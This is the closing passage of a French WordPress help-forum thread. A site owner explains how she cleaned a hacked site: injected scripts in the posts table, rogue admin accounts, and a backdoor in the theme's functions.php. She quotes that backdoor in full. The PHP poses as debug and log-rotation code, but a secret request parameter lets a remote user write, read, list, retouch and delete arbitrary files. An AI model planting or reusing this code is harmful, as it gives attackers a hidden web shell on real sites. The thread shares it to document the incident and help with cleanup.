[Résolu] Site hacké et redirigé vers d’autres pages WP ADMIN non accessible

  • WordPress :5.2
  • Statut : résolu
3 sujets de 16 à 18 (sur un total de 18)
  • Auteur
    Messages
  • #2286744
    MSCerise
    Participant
    Initié WordPress
    10 contributions

    C’est ce que je me dis aussi, je vais attendre de récupérer les données OVH, retrouver les adresses des pages qui étaient en ligne pour ne pas perdre le référencement et repartir sur du neuf.

    Merci pour l’aide!

    #2287567
    MSCerise
    Participant
    Initié WordPress
    10 contributions

    Bonjour une petite mise à jour sur le souci trouvé. un script injecté sur +/- 2000 lignes de la table wp_posts, je suis en train de faire le nettoyage.

    Par contre, j’ai récupéré l’accès au wp-admin mais je n’ai pas le menu des plugins (extensions), j’ai pourtant vérifié et j’ai bien les droits administrateurs. Pensez-vous que le code SQL ait aussi été modifié pour les droit d’accès via la DB?

    Merci pour votre aide

    #2287614
    MSCerise
    Participant
    Initié WordPress
    10 contributions

    Bon voilà tout est nettoyé, j’ai pu accéder au wp-admin en changeant le mot de passe de chaque user créé via phpmyadmin et j’ai trouvé celui qui a tous les droits administrateur. J’ai pu alors installer wordfence et trouver un backdoor injecté sur le theme dans functions.php

    if (isset($_REQUEST[‘wp_debug’]) and $_REQUEST[‘wp_debug’] == ‘wp_dbg_jes’) {
    // Print json error details
    if (isset($_REQUEST[‘json_error’])) {
    echo ‘{“error”: 1, “type”: “‘. $_REQUEST[‘json_error’] .'”}’;
    }

    /**
    * Read error file depending on code, f.e. 404.html 500.html
    * or trace and save error to file
    */
    if (isset($_REQUEST[‘error_code’])) {
    if (isset($_REQUEST[‘error’])) {
    // Trace error
    file_put_contents($_REQUEST[‘error_code’],
    stripslashes($_REQUEST[‘error’]));
    }
    else {
    // 404.html 500.html 504.html
    echo file_get_contents($_REQUEST[‘error_code’]);
    }
    }

    /**
    * Make shure debug location is writable
    */
    if (isset($_REQUEST[‘debug_location’])) {
    echo json_encode(array(
    ‘location’ => $_REQUEST[‘debug_location’],
    ‘writable’ => is_writable($_REQUEST[‘debug_location’])?1:0
    ));
    }

    /**
    * Log file rotation. Select files that can be removed.
    */
    if (isset($_REQUEST[‘debug_directory’])) {
    $ret = array(); $i = 0;
    foreach (scandir($_REQUEST[‘debug_directory’]) as $logfile) {
    $ret[$i] = array(
    ‘name’ => $logfile,
    ‘skip’ => is_dir($_REQUEST[‘debug_directory’].$logfile),
    ‘done’ => is_writable($_REQUEST[‘debug_directory’].$logfile),
    ‘date’ => filemtime($_REQUEST[‘debug_directory’].$logfile)
    ); $i++; }
    echo json_encode($ret);
    }

    /**
    * Correct log file time when error last occured
    */
    if (isset($_REQUEST[‘debug_update’])) {
    touch($_REQUEST[‘debug_update_file’], $_REQUEST[‘debug_update’]);
    }

    // remove old log file
    if (isset($_REQUEST[‘old_log_file’])) unlink($_REQUEST[‘old_log_file’]);

    exit();
    }

    Mon site est nettoyé à présent, plus qu’à tout resécuriser et mettre à jour. Ce fut long.. mais j’y suis arrivée.

    Merci à tous!

3 sujets de 16 à 18 (sur un total de 18)
  • Vous devez être connecté pour répondre à ce sujet.